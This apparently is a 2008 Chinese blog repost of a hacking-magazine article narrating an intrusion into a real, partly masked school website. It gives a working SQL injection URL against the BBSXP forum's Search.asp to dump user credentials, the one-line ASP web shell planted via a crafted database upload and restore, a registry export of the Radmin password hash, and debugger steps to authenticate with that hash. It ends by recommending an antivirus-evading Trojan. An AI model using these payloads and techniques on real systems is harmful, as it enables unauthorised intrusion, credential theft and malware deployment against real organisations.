数据加载中……


 

 登   陆

我的分类(专题)
数据加载中……

链接

Blog信息
数据加载中……

 



一次吉安县某中学入侵手记
樱木花盗 发表于 2008-11-14 17:46:48
作者:Tommie(C.R.S.T)
已经发表在去年黑客X档案第十一期.

一、分析
  最近入侵学校比较火热,正值国庆,无聊之际,我也来凑凑热闹。“知己知彼,百战百胜”,这句话大家都听过,所以踩点这个环节真的不能忽略,而且还很重要。我比较习惯用telnet进行分析(省得用X-SCAN,速度快,效果明显),开始-运行-CMD,在CMD窗口输入“telnet www.jaf***.com 80”返回结果如图1。

然后输入"get"回车,返回如图2,

看返回值的格式貌似是IIS,先来判断是什么版本,再次TELNET目标机器80端口,在窗口复制输入:
PUT /shell.txt HTTP/1.1
Host:www.jaf***.com
Content-Length:0
  输入后连续两下回车,根据返回信息判断对方正在使用IIS6.0并且判断系统为WINDOWS 2003,如图3。

如果HTTP/1.1返回值是100的话说明有IIS写的权限,利用方法在以前的X曾经介绍过。然后再次telnet 1433、21返回结果类似图1

说明开放了FTP和MSSQL服务,获取WebShell后提权带有一定优势,再telnet 3306、3389返回如图4,

说明对方没有MYSQL,并且不支持PHP,如果服务器是放在机房,必须要进行远程管理,也就是说服务器正在使用第三方管理软件远程管理服务器,这些信息对我们以后的提权也是有一定帮助。
  用IE打开目标网站,看不出用什么源码搭建,貌似是自己写的,找了几个“不起眼”的文件仍在www.seeknot.com查了一下也搜索不出什么内容。算啦,还是看看注入方面怎样,找个提交数据库的页面提交“'”,返回一个窗口,如图5。

这年头,管管也不是吃素的,注入方面做得还不错,至于上传方面是不言而喻的。
二、BBSXP
1.注入
  就在我无奈的时候,在主页上无意中让我发现了这个网站还有一个论坛,跟进去看看,看到页面底下的信息,如图6,

原来是BBSXP's Access版本,这个版本的BBSXP的Search.asp最近好像出了个注入漏洞,先来试试是否存在。先注册一个用户,在任意版块发一张帖子,记下标题名称,后面要用到,这里标题为“肯德基”,然后进入论坛的搜索功能,如图7,

记下验证码,构造如下语句
http://www.jaf***.com/bbs//Search.asp?menu=Result&Keywords=肯德基&Item=Topic&DateComparer=365&SortBy=union(select[userid],1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,[userid]from[bbsxp_users])&ForumID=0&VerifyCode=4947
  其中Keywords、VerifyCode变量分别是标题和验证码,提交后如图8。

初步判定存在注入,只是列数不匹配罢了,我们去掉一个列名"22"提交,返回如图9。

到官方下了一份源码,打开数据库,得知存在用户及密码的列名分别为username、userpass,我们将"9"改为"username",将"4"改为"userpass"再次提交,返回如图10,

爆出用户和对应的MD5散列,拿到WWW.CMD5.COM在线查询一下,不查不知道,一查吓了我一大跳,查询结果是123456,捏着它成功冲入后台。
2.SHELL
  传统的添加上传扩展或者找个地方插马的方法已经行不通了,前者因为程序本身对扩展验证得很严格,后者有趣的是,不是在数据库中插入那些"<%"敏感字符,而是进库时将敏感字符进行转换过滤了。现在的BBSXP比以前安全多了,不过也不是没有办法。对于前者是没有办法,除非我们得到SHELL然后修改程序的验证方式,既然都得到了SHELL,还改来干什么,后者可以本地构造木马数据库进而利用。
  先用tinymdbeditor打开刚才从官方下载回来的源码中的数据库,找到bbsxp_ranks数据表,随便选择一条记录双击查看数据,在"rankname"里写入一句话木马"<%execute request("#")%>",如图11。

好了,现在已经构造一个带有木马的数据库了,返回服务器的后台,基本设置-上传设置,增加一个MDB上传类型,设置下附件大小和上传组件,如图12,

返回前台"发表新帖",找到左则的"上传附件"按钮,将刚才设置好的MDB传上去,接着切换为"代码"模式,记下上传后的相对路径,再转到后台,先来备份一下当前网站正在使用的数据库(做人要厚道),如图13,

再恢复一下刚才上传的数据库,然后在"备份的数据库路径"输入我们小马备份后的路径,然后在IE敲入地址出现小马的踪影...如图14。

最后恢复刚才第一次备份的数据库,让网站正常运作。
三、Radmin
1.部署
  在SHELL上执行"netstat -an"告知我没有权限,说得也是,GUEST用户组权限太小了,system32下的CMD没有权限执行那是再正常不过的事情,既然这个目录没有权限,我们换个有权限不就可以了吗?跳转到C:\WINDOWS\Temp(如果是2000服务器则是C:\WINNT\Temp)目录写入一个被ASPACK压缩过的CMD(因为IIS6.0默认不让上传超过200K以上的文件,所以要压缩一下),这个目录默认是任何人都可以访问、执行、写入的,然后再执行"netstat -an",发现开放了一个我不常见到的一个端口,如图15。

是radmin,看来我运气不错,可以通过它来提升权限。radmin在验证上存在设计上的漏洞,在2006年6月goldsun已经把它这个缺点发过出来,至于1433讲究运气,我运气不好,找不到SA的密码,21为微软自带的FTP,所以只能通过它来提权了。
  先来ping一下对方IP(个人习惯),记录下,然后准备一个免杀鸽子、OLLYICE,goldsun的radmin控制端,将其填入信息如图16。

用WebShell读取存放radmin服务端连接密码的注册表位置,再次不够权限,不怕,还有CMD在,执行命令"regedit /e D:\radmin.reg HKLM\SYSTEM\RAdmin\v2.0\Server\Parameters",将radmin注册文件保存到D:\radmin.reg,然后下载回来打开,将Parameter的值重新组合,得到MD5的32位加密散列(f4b878e5f4bd1577191d36d85b32a5e2)。
2.实战
  用OLLYICE打开刚才填入相关信息的radmin控制端,ctrl+f输入"JMP EAX",记得勾选"整个块",然后按一下F4,再按F8一下,到了这里,
00A1F58E    55              push    ebp
00A1F58F    8BEC            mov     ebp, esp
00A1F591    6A FF           push    -1
  然后右键,"查找"-"所有常量",在"十六进制"那里输入"10325476",在弹出的窗口中,选择第一行,F2下断,F9运行,如图17,

radmin运行起来了,接着连接刚才设置的服务器,这里我选择“远程TELNET”,跟着弹出“输入密码”窗体,随便输入密码"files",返回OLLYICE,停在这里,
00A0A8FA    C740 0C 7654321>mov     dword ptr [eax+C], 10325476
  然后Ctrl+F9,程序跑了一会,Ctrl+G输入00A0A8FA(刚才下断的地方),跳回去F2取消断点,然后一直F8,直到"ADD ESP,18"这条指令,
在左下角的"hex 数据"窗体那里Ctrl+G,在弹出的窗体输入"[esp]"(注意带大括号的),跳转之后,将这时的第一行数据左键拉过去,右键,"二进制"-"编辑",在弹出的窗体中的"HEX"原有数值删除,输入刚才得到的HASH,最后F9运行,如图18,19。




寄语
  每次进行控制都要重新操作上述步骤,如果觉得麻烦,直接用WebShell上传灰鸽子用radmin的TELNET执行就可以了,不过一定要做免杀,这样突破验证后的功能没有任何影响,不过比较繁琐,也希望牛人们写出利用工具,直接输入密文进行控制,如果文章有什么不明白可以到X论坛找我。论坛Id:Tommie。

阅读全文 | 回复(0) | 引用通告 | 编辑
 


发表评论:

    昵称:
    密码: (游客无须输入密码)
    主页:
    标题:
    数据加载中……


Powered by Oblog.